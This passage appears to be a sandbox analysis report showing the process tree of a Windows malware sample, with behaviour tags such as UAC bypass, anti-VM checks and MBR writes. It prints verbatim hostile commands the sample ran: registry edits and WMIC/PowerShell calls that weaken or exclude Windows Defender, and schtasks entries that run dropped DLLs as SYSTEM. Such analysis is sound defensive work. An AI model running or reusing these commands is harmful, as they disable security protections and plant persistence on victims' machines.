      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        6⤵
        
        PID:2552
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
      4⤵
      PID:4072
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:3012
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        6⤵
        
        PID:5696
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
      4⤵
      PID:5564
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:2372
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        6⤵
        
        PID:5492
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
      4⤵
      PID:2728
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        
        PID:1680
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        
        PID:5720
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        7⤵
        
        PID:6084
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "btZaCbGShXZoJDfvCg"
    3⤵
    PID:6008
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
    3⤵
    PID:5268
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
      4⤵
      PID:5748
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        5⤵
        
        PID:776
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        
        PID:4692
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        7⤵
        
        PID:5820
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\hsUwQAlMU\GeEqjQ.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "ucrVpivlTlXwlAC" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:5504
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "ucrVpivlTlXwlAC2" /F /xml "C:\Program Files (x86)\hsUwQAlMU\hiwALlW.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:3476
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /END /TN "ucrVpivlTlXwlAC"
    3⤵
    PID:4724
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "ucrVpivlTlXwlAC"
    3⤵
    PID:4048
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gXuMbmSriUtfuo" /F /xml "C:\Program Files (x86)\dlfHiRefefjU2\MBHSZJB.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:5172
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "ZEKxHChbZmoqN2" /F /xml "C:\ProgramData\nivjmgppGaMJQQVB\hWwwPlL.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:1648
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "GJlNcuNKEmfKGuMTK2" /F /xml "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR\BYqRwmj.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:5596
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "jVeWQSRcqyudsTDYlcg2" /F /xml "C:\Program Files (x86)\QtKEgKYoTGTqC\GKJmeKo.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:2856
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "BjyVbWVaXyfCTlHuI" /SC once /ST 15:30:20 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\QqEAMUespgTHJnVz\bcQnlxaW\PrlDcYa.dll\",#1 /TSKkdidOyUb 385118" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:5988
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "BjyVbWVaXyfCTlHuI"
    3⤵
    PID:5640
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "ZTNkTKukmvvbOMPkn"
    3⤵
    PID:3792
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5108 -s 2368
    3⤵
    - Program crash
    PID:2316
- C:\Windows\system32\rundll32.EXE
  C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\QqEAMUespgTHJnVz\bcQnlxaW\PrlDcYa.dll",#1 /TSKkdidOyUb 385118
  2⤵
  PID:2708
- - C:\Windows\SysWOW64\rundll32.exe
    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\QqEAMUespgTHJnVz\bcQnlxaW\PrlDcYa.dll",#1 /TSKkdidOyUb 385118
    3⤵
    - Blocklisted process makes network request
    - Checks BIOS information in registry
    - Loads dropped DLL
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    PID:4132
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "BjyVbWVaXyfCTlHuI"
      4⤵
      PID:5284
- C:\Users\Admin\AppData\Local\Temp\b9695770f1\Dctooux.exe
  C:\Users\Admin\AppData\Local\Temp\b9695770f1\Dctooux.exe
  2⤵
  - Executes dropped EXE
  PID:4972
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4972 -s 480
    3⤵
    - Program crash
    PID:3564
- C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
  C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:5272
- C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
  C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:1628

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1264

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1328

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1452

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1548
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:712

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1568

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1580

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1788

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1868

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2012

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2052

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2104

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2184

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2416

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2492

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2532

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2604

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2640

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2256

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3116

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3372
- C:\Users\Admin\AppData\Local\Temp\e56c2d158882c7a16908b93f5d49187927547fbe9e51cea39bdb1d17bd312dd2.exe
  "C:\Users\Admin\AppData\Local\Temp\e56c2d158882c7a16908b93f5d49187927547fbe9e51cea39bdb1d17bd312dd2.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2580
- - C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
    "C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4688
  - - C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
      "C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe"
      4⤵
      PID:5024
  - - C:\Users\Admin\1000011002\3bf41d36ee.exe
      "C:\Users\Admin\1000011002\3bf41d36ee.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1412
    - - C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
        
        "C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:1940
      - C:\Users\Admin\AppData\Local\Temp\1000002001\file300un.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000002001\file300un.exe"
        6⤵
        UAC bypass
        Windows security bypass
        Executes dropped EXE
        Windows security modification
        Checks whether UAC is enabled
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        System policy modification
        
        PID:3196
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000002001\file300un.exe" -Force
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4816
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        7⤵
        Drops startup file
        Suspicious use of AdjustPrivilegeToken
        
        PID:2984
        
        C:\Users\Admin\Pictures\VtKu0Kz7COUlJOliVRa7Bhtv.exe
        
        "C:\Users\Admin\Pictures\VtKu0Kz7COUlJOliVRa7Bhtv.exe"
        8⤵
        Executes dropped EXE
        Drops file in Windows directory
        Suspicious use of FindShellTrayWindow
        
        PID:552
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 552 -s 784
        9⤵
        Program crash
        
        PID:3316
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 552 -s 800
        9⤵
        Program crash
        
        PID:4772
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 552 -s 836
        9⤵
        Program crash
        
        PID:3188
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 552 -s 952
        9⤵
        Program crash
        
        PID:2896
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 552 -s 956
        9⤵
        Program crash
        
        PID:1120
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 552 -s 976
        9⤵
        Program crash
        
        PID:3128
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 552 -s 1012
        9⤵
        Program crash
        
        PID:5068
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 552 -s 1028
        9⤵
        Program crash
        
        PID:4928
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 552 -s 1152
        9⤵
        Program crash
        
        PID:1636
        
        C:\Users\Admin\AppData\Local\Temp\b9695770f1\Dctooux.exe
        
        "C:\Users\Admin\AppData\Local\Temp\b9695770f1\Dctooux.exe"
        9⤵
        Executes dropped EXE
        
        PID:2508
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2508 -s 576
        10⤵
        Program crash
        
        PID:5260
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2508 -s 624
        10⤵
        Program crash
        
        PID:5316
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2508 -s 632
        10⤵
        Program crash
        
        PID:5392
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2508 -s 684
        10⤵
        Program crash
        
        PID:5448
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2508 -s 708
        10⤵
        Program crash
        
        PID:5500
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2508 -s 900
        10⤵
        Program crash
        
        PID:5560
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2508 -s 932
        10⤵
        Program crash
        
        PID:5608
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2508 -s 900
        10⤵
        Program crash
        
        PID:5684
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2508 -s 776
        10⤵
        Program crash
        
        PID:5740
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2508 -s 972
        10⤵
        Program crash
        
        PID:5788
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2508 -s 1048
        10⤵
        Program crash
        
        PID:5860
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2508 -s 1224
        10⤵
        Program crash
        
        PID:5912
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2508 -s 1476
        10⤵
        Program crash
        
        PID:5972
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2508 -s 1440
        10⤵
        Program crash
        
        PID:6028
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2508 -s 1444
        10⤵
        Program crash
        
        PID:6080
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2508 -s 1532
        10⤵
        Program crash
        
        PID:6136
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2508 -s 856
        10⤵
        Program crash
        
        PID:2356
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 552 -s 1016
        9⤵
        Program crash
        
        PID:1412
        
        C:\Users\Admin\Pictures\ASlDITwGjwi66zrZSnmKVIBk.exe
        
        "C:\Users\Admin\Pictures\ASlDITwGjwi66zrZSnmKVIBk.exe" /s
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        Writes to the Master Boot Record (MBR)
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1560
        
        C:\Users\Admin\Pictures\85hTjqXFhQelwVJSTgc38gyN.exe
        
        "C:\Users\Admin\Pictures\85hTjqXFhQelwVJSTgc38gyN.exe"
        8⤵
        Modifies firewall policy service
        Windows security bypass
        Executes dropped EXE
        Windows security modification
        Drops file in System32 directory
        
        PID:3016
        
        C:\Users\Admin\Pictures\N1OE4MTJyHTnixYI1sU7qC6c.exe
        
        "C:\Users\Admin\Pictures\N1OE4MTJyHTnixYI1sU7qC6c.exe"
        8⤵
        Executes dropped EXE
        
        PID:4028
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC1A.tmp\Install.exe
        
        .\Install.exe
        9⤵
        Executes dropped EXE
        
        PID:5276
        
        C:\Users\Admin\AppData\Local\Temp\7zSCF17.tmp\Install.exe
        
        .\Install.exe /yrVdidRYRgn "385118" /S
        10⤵
        Checks BIOS information in registry
        Executes dropped EXE
        Enumerates system info in registry
        
        PID:5320
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        11⤵
        
        PID:5460
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        12⤵
        
        PID:5496
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        13⤵
        
        PID:5520
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        14⤵
        
        PID:5548
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        12⤵
        
        PID:5576
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        13⤵
        
        PID:5572
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        14⤵
        
        PID:5560
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        12⤵
        
        PID:5588
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        13⤵
        
        PID:5308
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        14⤵
        
        PID:5616
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        12⤵
        
        PID:5476
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        13⤵
        
        PID:5672
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        14⤵
        
        PID:5652
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        12⤵
        
        PID:5708
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        13⤵
        
        PID:5688
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        14⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5720
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        15⤵
        
        PID:5984
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        11⤵
        
        PID:5848
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        12⤵
        
        PID:5056
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        13⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4248
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        14⤵
        
        PID:1072
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "btZaCbGShXZoJDfvCg" /SC once /ST 16:11:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSCF17.tmp\Install.exe\" PP /JtkdidfYvf 385118 /S" /V1 /F
        11⤵
        Drops file in Windows directory
        Creates scheduled task(s)
        
        PID:4112
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn btZaCbGShXZoJDfvCg"
        11⤵
        
        PID:2856
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        12⤵
        
        PID:1200
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn btZaCbGShXZoJDfvCg
        12⤵
        
        PID:3564
        
        \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn btZaCbGShXZoJDfvCg
        13⤵
        
        PID:1100
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5320 -s 1016
        11⤵
        Program crash
        
        PID:1408
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        7⤵
        
        PID:1240
      - C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1492
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
